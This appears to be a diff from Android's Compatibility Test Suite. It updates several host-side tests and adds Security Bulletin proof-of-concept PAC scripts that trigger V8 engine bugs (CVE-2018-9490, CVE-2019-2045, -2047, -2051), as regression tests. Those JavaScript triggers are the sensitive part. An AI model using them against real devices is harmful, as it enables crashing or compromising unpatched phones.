--- a/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/DrawFramesActivity.java
+++ b/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/DrawFramesActivity.java
@@ -123,6 +123,7 @@
     }
 
     private void scheduleDraw() {
+        mColorView.invalidate();
         mChoreographer.postFrameCallback((long timestamp) -> {
             setupFrame();
             jankIf(FRAME_JANK_ANIMATION);
diff --git a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
index 8f696f8..90b78fc 100644
--- a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
@@ -106,7 +106,7 @@
 
         int veryJankyDelta = countFramesAbove(statsAfter, 60) - countFramesAbove(statsBefore, 60);
         // The 1st frame could be >40ms, but nothing after that should be
-        assertTrue(veryJankyDelta <= 1);
+        assertTrue(veryJankyDelta <= 2);
     }
 
     public void testDaveyDrawFrame() throws Exception {
diff --git a/hostsidetests/incident/src/com/android/server/cts/NotificationIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/NotificationIncidentTest.java
index 7ed16e1..6c59282 100644
--- a/hostsidetests/incident/src/com/android/server/cts/NotificationIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/NotificationIncidentTest.java
@@ -27,6 +27,8 @@
 import android.service.notification.ZenModeProto;
 import android.service.notification.ZenRuleProto;
 
+import com.android.tradefed.device.ITestDevice;
+
 import java.util.List;
 
 /**
@@ -55,43 +57,51 @@
     private static final String TEST_ACTIVITY =
             "com.android.server.cts.notifications/.NotificationIncidentTestActivity";
     private static final int WAIT_MS = 1000;
+    private static final String DEVICE_SIDE_TEST_PKG = "com.android.server.cts.notifications";
 
     /**
      * Tests that at least one notification is posted, and verify its properties are plausible.
      */
     public void testNotificationRecords() throws Exception {
-        installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
-        int retries = 3;
-        do {
-            getDevice().executeShellCommand("am start -n " + TEST_ACTIVITY);
-        } while (!checkLogcatForText(TEST_APP_TAG, TEST_APP_LOG, WAIT_MS) && retries-- > 0);
+        ITestDevice device = getDevice();
+        try {
+            installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
+            int retries = 3;
+            do {
+                device.executeShellCommand("am start -n " + TEST_ACTIVITY);
+            } while (!checkLogcatForText(TEST_APP_TAG, TEST_APP_LOG, WAIT_MS) && retries-- > 0);
 
-        final NotificationServiceDumpProto dump = getDump(NotificationServiceDumpProto.parser(),
-                "dumpsys notification --proto");
+            final NotificationServiceDumpProto dump = getDump(NotificationServiceDumpProto.parser(),
+                    "dumpsys notification --proto");
 
-        assertTrue(dump.getRecordsCount() > 0);
-        boolean found = false;
-        for (NotificationRecordProto record : dump.getRecordsList()) {
-            if (record.getKey().contains("android")) {
-                found = true;
-                assertTrue(record.getImportance() > IMPORTANCE_NONE);
+            assertTrue(dump.getRecordsCount() > 0);
+            boolean found = false;
+            for (NotificationRecordProto record : dump.getRecordsList()) {
+                if (record.getKey().contains("android")) {
+                    found = true;
+                    assertTrue(record.getImportance() > IMPORTANCE_NONE);
 
-                // Ensure these fields exist, at least
-                record.getFlags();
-                record.getChannelId();
-                record.getSound();
-                record.getAudioAttributes();
-                record.getCanVibrate();
-                record.getCanShowLight();
-                record.getGroupKey();
+                    // Ensure these fields exist, at least
+                    record.getFlags();
+                    record.getChannelId();
+                    record.getSound();
+                    record.getAudioAttributes();
+                    record.getCanVibrate();
+                    record.getCanShowLight();
+                    record.getGroupKey();
+                }
+                assertTrue(
+                        NotificationRecordProto.State.getDescriptor()
+                                .getValues()
+                                .contains(record.getState().getValueDescriptor()));
             }
-            assertTrue(
-                NotificationRecordProto.State.getDescriptor()
-                        .getValues()
-                        .contains(record.getState().getValueDescriptor()));
-        }
 
-        assertTrue(found);
+            assertTrue(found);
+        } finally {
+            if (device.getInstalledPackageNames().contains(DEVICE_SIDE_TEST_PKG)) {
+                device.uninstallPackage(DEVICE_SIDE_TEST_PKG);
+            }
+        }
     }
 
     /** Test valid values from the RankingHelper. */
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java
index 4c2d884..f1e73a2 100644
--- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java
@@ -152,7 +152,7 @@
         final int secondaryUserId = getDevice().createUser(
                 "InputMethodMultiUserTest_secondaryUser" + System.currentTimeMillis());
 
-        getDevice().startUser(secondaryUserId);
+        getDevice().startUser(secondaryUserId, true /* waitFlag */);
 
         installPossibleInstantPackage(DeviceTestConstants.APK, primaryUserId, instant);
         installPossibleInstantPackage(DeviceTestConstants.APK, secondaryUserId, instant);
@@ -212,7 +212,7 @@
         final int primaryUserId = getDevice().getPrimaryUserId();
         final int profileUserId = createProfile(primaryUserId);
 
-        getDevice().startUser(profileUserId);
+        getDevice().startUser(profileUserId, true /* waitFlag */);
 
         installPossibleInstantPackage(DeviceTestConstants.APK, primaryUserId, instant);
         installPossibleInstantPackage(DeviceTestConstants.APK, profileUserId, instant);
diff --git a/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java b/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java
index 625839f..ae8d4a8 100644
--- a/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java
+++ b/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java
@@ -21,6 +21,7 @@
 import android.content.SharedPreferences;
 import android.content.SharedPreferences.Editor;
 import android.media.MediaCodec;
+import android.media.MediaCodecInfo.CodecProfileLevel;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.media.cts.bitstreams.MediaBitstreams;
@@ -83,6 +84,35 @@
         }
     }
 
+    private static void fixFormat(MediaFormat format, String path) {
+        // TODO(b/137684344): Revisit so that we can get this information from
+        //                    the bitstream or the extractor.
+        if (path.indexOf("/10bit/") < 0) {
+            return;
+        }
+        String mime = format.getString(MediaFormat.KEY_MIME);
+        int profile = -1, level = -1;
+        if (mime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
+            profile = CodecProfileLevel.VP9Profile2;
+            level = CodecProfileLevel.VP9Level1;
+        } else if (mime.equals(MediaFormat.MIMETYPE_VIDEO_HEVC)) {
+            profile = CodecProfileLevel.HEVCProfileMain10;
+            level = CodecProfileLevel.HEVCMainTierLevel1;
+        } else if (mime.equals(MediaFormat.MIMETYPE_VIDEO_AV1)) {
+            profile = CodecProfileLevel.AV1ProfileMain10;
+            level = CodecProfileLevel.AV1Level2;
+        } else {
+            return;
+        }
+
+        if (!format.containsKey(MediaFormat.KEY_PROFILE)) {
+            format.setInteger(MediaFormat.KEY_PROFILE, profile);
+        }
+        if (!format.containsKey(MediaFormat.KEY_LEVEL)) {
+            format.setInteger(MediaFormat.KEY_LEVEL, level);
+        }
+    }
+
     static interface ReportCallback {
         void run(OutputStream out) throws Exception;
     }
@@ -166,6 +196,7 @@
                 MediaFormat format = parseTrackFormat(formatStr);
                 String mime = format.getString(MediaFormat.KEY_MIME);
                 String[] decoders = MediaUtils.getDecoderNamesForMime(mime);
+                fixFormat(format, path);
 
                 ps.println(path);
                 ps.println(decoders.length);
@@ -225,6 +256,7 @@
             try {
                 ex.setDataSource(path);
                 MediaFormat format = ex.getTrackFormat(0);
+                fixFormat(format, path);
                 boolean[] vendors = new boolean[] {false, true};
                 for (boolean v : vendors) {
                     for (String name : MediaUtils.getDecoderNames(v, format)) {
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java b/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java
new file mode 100644
index 0000000..1f4ab36
--- /dev/null
+++ b/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.host.multiuser;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.concurrent.TimeUnit;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class SecondaryUsersTest extends BaseMultiUserTest {
+
+    // Extra time to give the system to switch into secondary user after boot complete.
+    private static final long SECONDARY_USER_BOOT_COMPLETE_TIMEOUT_MS = 30000;
+
+    private static final long POLL_INTERVAL_MS = 100;
+
+    @Test
+    public void testSwitchToSecondaryUserBeforeBootComplete() throws Exception {
+        if (!isAutomotiveDevice() || !mSupportsMultiUser) {
+            return;
+        }
+
+        getDevice().nonBlockingReboot();
+        getDevice().waitForBootComplete(TimeUnit.MINUTES.toMillis(2));
+
+        boolean isUserSecondary = false;
+        long ti = System.currentTimeMillis();
+
+        // TODO(b/138944230): Verify if current user is secondary when the UI is ready for user
+        // interaction. A possibility is to check if the CarLauncher is started in the
+        // Activity Stack, but this becomes tricky in OEM implementation, where CarLauncher is
+        // replaced with another launcher. Launcher can usually identify by
+        // android.intent.category.HOME (type=home) and priority = -1000. But there is no clear way
+        // to determine this via adb.
+        while (System.currentTimeMillis() - ti < SECONDARY_USER_BOOT_COMPLETE_TIMEOUT_MS) {
+            isUserSecondary = getDevice().isUserSecondary(getDevice().getCurrentUser());
+            if (isUserSecondary) {
+                break;
+            }
+            Thread.sleep(POLL_INTERVAL_MS);
+        }
+        Assert.assertTrue("Must switch to secondary user before boot complete", isUserSecondary);
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
index 2fc85f6..fde8335 100755
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
@@ -20,6 +20,7 @@
 import static android.system.OsConstants.*;
 
 import android.annotation.Nullable;
+import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
@@ -33,6 +34,7 @@
 import android.net.ProxyInfo;
 import android.net.VpnService;
 import android.net.wifi.WifiManager;
+import android.provider.Settings;
 import android.os.ParcelFileDescriptor;
 import android.os.Process;
 import android.os.SystemProperties;
@@ -62,8 +64,11 @@
 import java.net.InetSocketAddress;
 import java.net.ServerSocket;
 import java.net.Socket;
+import java.net.SocketException;
+import java.net.UnknownHostException;
 import java.nio.charset.StandardCharsets;
 import java.util.ArrayList;
+import java.util.Objects;
 import java.util.Random;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -95,6 +100,13 @@
  */
 public class VpnTest extends InstrumentationTestCase {
 
+    // These are neither public nor @TestApi.
+    // TODO: add them to @TestApi.
+    private static final String PRIVATE_DNS_MODE_SETTING = "private_dns_mode";
+    private static final String PRIVATE_DNS_MODE_PROVIDER_HOSTNAME = "hostname";
+    private static final String PRIVATE_DNS_MODE_OPPORTUNISTIC = "opportunistic";
+    private static final String PRIVATE_DNS_SPECIFIER_SETTING = "private_dns_specifier";
+
     public static String TAG = "VpnTest";
     public static int TIMEOUT_MS = 3 * 1000;
     public static int SOCKET_TIMEOUT_MS = 100;
@@ -112,6 +124,9 @@
     final Object mLock = new Object();
     final Object mLockShutdown = new Object();
 
+    private String mOldPrivateDnsMode;
+    private String mOldPrivateDnsSpecifier;
+
     private boolean supportedHardware() {
         final PackageManager pm = getInstrumentation().getContext().getPackageManager();
         return !pm.hasSystemFeature("android.hardware.type.watch");
@@ -123,6 +138,7 @@
 
         mNetwork = null;
         mCallback = null;
+        storePrivateDnsSetting();
 
         mDevice = UiDevice.getInstance(getInstrumentation());
         mActivity = launchActivity(getInstrumentation().getTargetContext().getPackageName(),
@@ -137,6 +153,7 @@
 
     @Override
     public void tearDown() throws Exception {
+        restorePrivateDnsSetting();
         mRemoteSocketFactoryClient.unbind();
         if (mCallback != null) {
             mCM.unregisterNetworkCallback(mCallback);
@@ -567,6 +584,95 @@
         }
     }
 
+    private ContentResolver getContentResolver() {
+        return getInstrumentation().getContext().getContentResolver();
+    }
+
+    private boolean isPrivateDnsInStrictMode() {
+        return PRIVATE_DNS_MODE_PROVIDER_HOSTNAME.equals(
+                Settings.Global.getString(getContentResolver(), PRIVATE_DNS_MODE_SETTING));
+    }
+
+    private void storePrivateDnsSetting() {
+        mOldPrivateDnsMode = Settings.Global.getString(getContentResolver(),
+                PRIVATE_DNS_MODE_SETTING);
+        mOldPrivateDnsSpecifier = Settings.Global.getString(getContentResolver(),
+                PRIVATE_DNS_SPECIFIER_SETTING);
+    }
+
+    private void restorePrivateDnsSetting() {
+        Settings.Global.putString(getContentResolver(), PRIVATE_DNS_MODE_SETTING,
+                mOldPrivateDnsMode);
+        Settings.Global.putString(getContentResolver(), PRIVATE_DNS_SPECIFIER_SETTING,
+                mOldPrivateDnsSpecifier);
+    }
+
+    // TODO: replace with CtsNetUtils.awaitPrivateDnsSetting in Q or above.
+    private void expectPrivateDnsHostname(final String hostname) throws Exception {
+        final NetworkRequest request = new NetworkRequest.Builder()
+                .removeCapability(NetworkCapabilities.NET_CAPABILITY_NOT_VPN)
+                .build();
+        final CountDownLatch latch = new CountDownLatch(1);
+        final NetworkCallback callback = new NetworkCallback() {
+            @Override
+            public void onLinkPropertiesChanged(Network network, LinkProperties lp) {
+                if (network.equals(mNetwork) &&
+                        Objects.equals(lp.getPrivateDnsServerName(), hostname)) {
+                    latch.countDown();
+                }
+            }
+        };
+
+        mCM.registerNetworkCallback(request, callback);
+
+        try {
+            assertTrue("Private DNS hostname was not " + hostname + " after " + TIMEOUT_MS + "ms",
+                    latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            mCM.unregisterNetworkCallback(callback);
+        }
+    }
+
+    private void setAndVerifyPrivateDns(boolean strictMode) throws Exception {
+        final ContentResolver cr = getInstrumentation().getContext().getContentResolver();
+        String privateDnsHostname;
+
+        if (strictMode) {
+            privateDnsHostname = "vpncts-nx.metric.gstatic.com";
+            Settings.Global.putString(cr, PRIVATE_DNS_SPECIFIER_SETTING, privateDnsHostname);
+            Settings.Global.putString(cr, PRIVATE_DNS_MODE_SETTING,
+                    PRIVATE_DNS_MODE_PROVIDER_HOSTNAME);
+        } else {
+            Settings.Global.putString(cr, PRIVATE_DNS_MODE_SETTING, PRIVATE_DNS_MODE_OPPORTUNISTIC);
+            privateDnsHostname = null;
+        }
+
+        expectPrivateDnsHostname(privateDnsHostname);
+
+        String randomName = "vpncts-" + new Random().nextInt(1000000000) + "-ds.metric.gstatic.com";
+        if (strictMode) {
+            // Strict mode private DNS is enabled. DNS lookups should fail, because the private DNS
+            // server name is invalid.
+            try {
+                InetAddress.getByName(randomName);
+                fail("VPN DNS lookup should fail with private DNS enabled");
+            } catch (UnknownHostException expected) {
+            }
+        } else {
+            // Strict mode private DNS is disabled. DNS lookup should succeed, because the VPN
+            // provides no DNS servers, and thus DNS falls through to the default network.
+            assertNotNull("VPN DNS lookup should succeed with private DNS disabled",
+                    InetAddress.getByName(randomName));
+        }
+    }
+
+    // Tests that strict mode private DNS is used on VPNs.
+    private void checkStrictModePrivateDns() throws Exception {
+        final boolean initialMode = isPrivateDnsInStrictMode();
+        setAndVerifyPrivateDns(!initialMode);
+        setAndVerifyPrivateDns(initialMode);
+    }
+
     public void testDefault() throws Exception {
         if (!supportedHardware()) return;
         // If adb TCP port opened, this test may running by adb over network.
@@ -598,6 +704,9 @@
         assertSocketClosed(fd, TEST_HOST);
 
         checkTrafficOnVpn();
+
+        checkStrictModePrivateDns();
+
         receiver.unregisterQuietly();
     }
 
@@ -615,6 +724,8 @@
         assertSocketClosed(fd, TEST_HOST);
 
         checkTrafficOnVpn();
+
+        checkStrictModePrivateDns();
     }
 
     public void testAppDisallowed() throws Exception {
diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp
new file mode 100644
index 0000000..71839e6
--- /dev/null
+++ b/hostsidetests/securitybulletin/Android.bp
@@ -0,0 +1,56 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsSecurityBulletinHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    java_resource_dirs: ["res"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "sts",
+    ],
+    // Must match the package name in CtsTestCaseList.mk
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+}
+
+cc_defaults {
+    name: "cts_hostsidetests_securitybulletin_defaults",
+    compile_multilib: "both",
+    multilib: {
+        lib32: {
+            suffix: "32",
+        },
+        lib64: {
+            suffix: "64",
+        },
+    },
+    arch: {
+        arm: {
+            instruction_set: "arm",
+        },
+    },
+    test_suites: [
+        "cts",
+        "vts",
+        "sts",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/Android.mk b/hostsidetests/securitybulletin/Android.mk
index fc814a5..bbf61ce 100644
--- a/hostsidetests/securitybulletin/Android.mk
+++ b/hostsidetests/securitybulletin/Android.mk
@@ -12,28 +12,4 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_RESOURCE_DIRS := res
-
-LOCAL_MODULE_TAGS := optional
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-
-# Must match the package name in CtsTestCaseList.mk
-LOCAL_MODULE := CtsSecurityBulletinHostTestCases
-
-LOCAL_MODULE_CLASS := JAVA_LIBRARIES
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-LOCAL_CTS_TEST_PACKAGE := android.host.security
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(call all-subdir-makefiles)
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 38d8eaf..8f3294e 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -20,6 +20,10 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
+        <!--__________________-->
+        <!--    Utilities     -->
+        <option name="push" value="pacrunner->/data/local/tmp/pacrunner" />
+
         <option name="push" value="CVE-2016-8460->/data/local/tmp/CVE-2016-8460" />
         <option name="push" value="CVE-2016-8482->/data/local/tmp/CVE-2016-8482" />
         <option name="push" value="CVE-2016-6730->/data/local/tmp/CVE-2016-6730" />
@@ -39,6 +43,12 @@
         <option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
         <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
 
+        <!--__________________-->
+        <!-- Bulletin 2016-02 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-0811->/data/local/tmp/CVE-2016-0811" />
+
+        <!--__________________-->
         <!-- Bulletin 2016-04 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
         <option name="push" value="CVE-2016-2412->/data/local/tmp/CVE-2016-2412" />
@@ -54,10 +64,12 @@
         <!--__________________-->
         <!-- Bulletin 2016-06 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-2482->/data/local/tmp/CVE-2016-2482" />
 
         <!--__________________-->
         <!-- Bulletin 2016-07 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-3747->/data/local/tmp/CVE-2016-3747" />
         <option name="push" value="CVE-2014-9803->/data/local/tmp/CVE-2014-9803" />
         <option name="push" value="CVE-2016-3746->/data/local/tmp/CVE-2016-3746" />
         <option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
@@ -111,6 +123,8 @@
         <!--__________________-->
         <!-- Bulletin 2017-05 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-5862->/data/local/tmp/CVE-2016-5862"/>
+        <option name="push" value="CVE-2016-5867->/data/local/tmp/CVE-2016-5867"/>
 
         <!--__________________-->
         <!-- Bulletin 2017-06 -->
@@ -171,22 +185,37 @@
         <!--__________________-->
         <!-- Bulletin 2018-10 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2018-9490->/data/local/tmp/CVE-2018-9490" />
         <option name="push" value="CVE-2018-9515->/data/local/tmp/CVE-2018-9515" />
 
         <!--__________________-->
         <!-- Bulletin 2018-11 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2018-9536->/data/local/tmp/CVE-2018-9536" />
         <option name="push" value="CVE-2018-9539->/data/local/tmp/CVE-2018-9539" />
 
         <!--__________________-->
         <!-- Bulletin 2019-03 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
         <option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
+        <option name="push" value="CVE-2019-2025->/data/local/tmp/CVE-2019-2025" />
 
         <option name="append-bitness" value="true" />
     </target_preparer>
 
+    <!-- The following tests hit either 32-bit or 64-bit, but not both. All tests in this -->
+    <!-- section should take care to build either 32 bit or 64 bit binary, but not both.  -->
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+
+        <!-- Please add 32-bit binary tests below to avoid merge conflict -->
+
+
+        <!-- Please add 64-bit binary tests below to avoid merge conflict -->
+
+
+        <option name="append-bitness" value="false" />
+    </target_preparer>
+
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsHostLaunchAnyWhereApp.apk" />
@@ -195,6 +224,8 @@
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="OomCatcher.apk" />
+        <option name="test-file-name" value="MainlineModuleDetector.apk" />
+        <option name="test-file-name" value="hotspot.apk" />
     </target_preparer>
 
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml b/hostsidetests/securitybulletin/res/CVE-2018-9490.pac
old mode 100755
new mode 100644
similarity index 63%
copy from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml
copy to hostsidetests/securitybulletin/res/CVE-2018-9490.pac
index a48cb1d..999518a
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/res/CVE-2018-9490.pac
@@ -1,5 +1,4 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
+/*
  * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,13 +12,20 @@
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
  * limitations under the License.
- -->
+ */
 
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.nocomponentapp">
+function FindProxyForURL(url, host){
+    alert("enter");
+    let arr = [];
+    arr[1000] = 0x1234;
 
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application />
+    arr.__defineGetter__(256, function () {
+            delete arr[256];
+            arr.unshift(1.1);
+            arr.length = 0;
+            });
 
-</manifest>
-
+    Object.entries(arr).toString();
+    alert(JSON.stringify(entries));
+    return 0;
+}
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2045.pac b/hostsidetests/securitybulletin/res/CVE-2019-2045.pac
new file mode 100644
index 0000000..a6b0166
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2045.pac
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+function FindProxyForURL(url, host){
+    opttest();
+    opttest();
+    opttest();
+    opttest();
+    opttest();
+    opttest();
+    opttest();
+    opttest();
+    return "DIRECT";
+}
+
+function maxstring() {
+  // force TurboFan
+  try {} finally {}
+
+  var i = 'A'.repeat(2**28 - 16).indexOf("", 2**28);
+  i += 16; 
+  i >>= 28; 
+  i *= 1000000;
+  //i *= 3;
+  if (i >= 3) {
+    return 0;
+  } else {
+    var arr = [0.1, 0.2, 0.3, 0.4];
+    return arr[i];
+  }
+}
+
+function opttest() {
+  for (var j = 0; j < 100000; j++) {
+    var o = maxstring();
+    if (o == 0 || o == undefined) {
+      continue;
+    }
+    console.log(o);
+    return o;
+  }
+}
+
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2047.pac b/hostsidetests/securitybulletin/res/CVE-2019-2047.pac
new file mode 100644
index 0000000..b70e24a
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2047.pac
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+function FindProxyForURL(url, host){
+    for(var i = 0;i<0x10000;i++){
+        change_elements_kind(x);
+    }
+
+    for(var i = 0;i<0x10000;i++){
+        write_as_unboxed();
+    }
+
+    change_elements_kind(evil);
+
+    write_as_unboxed();
+
+    try{
+        evil[0].x;
+    }catch(e){
+    }
+    return "DIRECT";
+}
+
+function change_elements_kind(a){
+    a[0] = Array;
+}
+function read_as_unboxed(){
+    return evil[0];
+}
+
+function write_as_unboxed(){
+    evil[0] = 2.37341197482723178190425716704E-308; //0x00111111 00111111
+}
+
+change_elements_kind({});
+
+var map_manipulator = new Array(1.0,2.3);
+map_manipulator.x = 7;
+change_elements_kind(map_manipulator);
+
+map_manipulator.x = {};
+
+var evil = new Array(1.1,2.2);
+evil.x = {};
+
+var x = new Array({});
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java b/hostsidetests/securitybulletin/res/CVE-2019-2051.pac
similarity index 72%
copy from hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java
copy to hostsidetests/securitybulletin/res/CVE-2019-2051.pac
index 4cf6efa..b24b160 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2051.pac
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2015 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,7 +14,8 @@
  * limitations under the License.
  */
 
-package com.android.cts.deviceowner;
-
-public class LockTaskUtilityActivityIfWhitelisted extends LockTaskUtilityActivity {
+function FindProxyForURL(url, host){
+    this.__defineGetter__("x", (a = (function f() { return; (function() {}); })()) => { });
+    x;
+    return "DIRECT";
 }
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2052.pac b/hostsidetests/securitybulletin/res/CVE-2019-2052.pac
new file mode 100644
index 0000000..670e870
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2052.pac
@@ -0,0 +1,48 @@
+/*
